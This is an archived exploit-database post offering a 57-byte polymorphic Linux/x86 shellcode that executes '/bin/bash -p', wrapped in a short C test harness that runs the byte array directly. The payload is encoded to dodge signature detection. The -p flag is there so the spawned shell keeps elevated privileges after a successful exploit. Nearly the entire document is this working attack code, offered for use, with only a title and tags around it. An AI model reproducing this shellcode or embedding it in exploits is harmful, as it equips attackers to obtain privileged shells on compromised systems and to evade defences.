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Linux/x86 Polymorphic execve("/bin/bash","-p",NULL) Shellcode

Linux/x86 Polymorphic execve("/bin/bash","-p",NULL) Shellcode
Posted May 6, 2010
Authored by Jonathan Salwan

57 bytes small Linux/x86 polymorphic execve("/bin/bash","-p",NULL) shellcode.

tags | x86, shellcode, bash
systems | linux
SHA-256 | f6c91d051514db6380bc499891959089cd1c984168b0ad58d45668db6a3156cd

Linux/x86 Polymorphic execve("/bin/bash","-p",NULL) Shellcode

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/*

Title: Linux x86 - polymorphic execve("/bin/bash","-p",NULL) - 57 bytes
Author: Jonathan Salwan
Mail: submit@shell-storm.org
Web: http://www.shell-storm.org

!Database of Shellcodes http://www.shell-storm.org/shellcode/


sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49

Based in http://www.shell-storm.org/shellcode/files/shellcode-606.php
*/

#include <stdio.h>

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
"\x71\x8a\xe2\x53\x6b\x69\x69\x30"
"\x63\x62\x74\x69\x30\x63\x6a\x6f"
"\x8a\xe4\x53\x52\x54\x32\xca\xce"
"\x81";

int main(int argc, char *argv[])
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}


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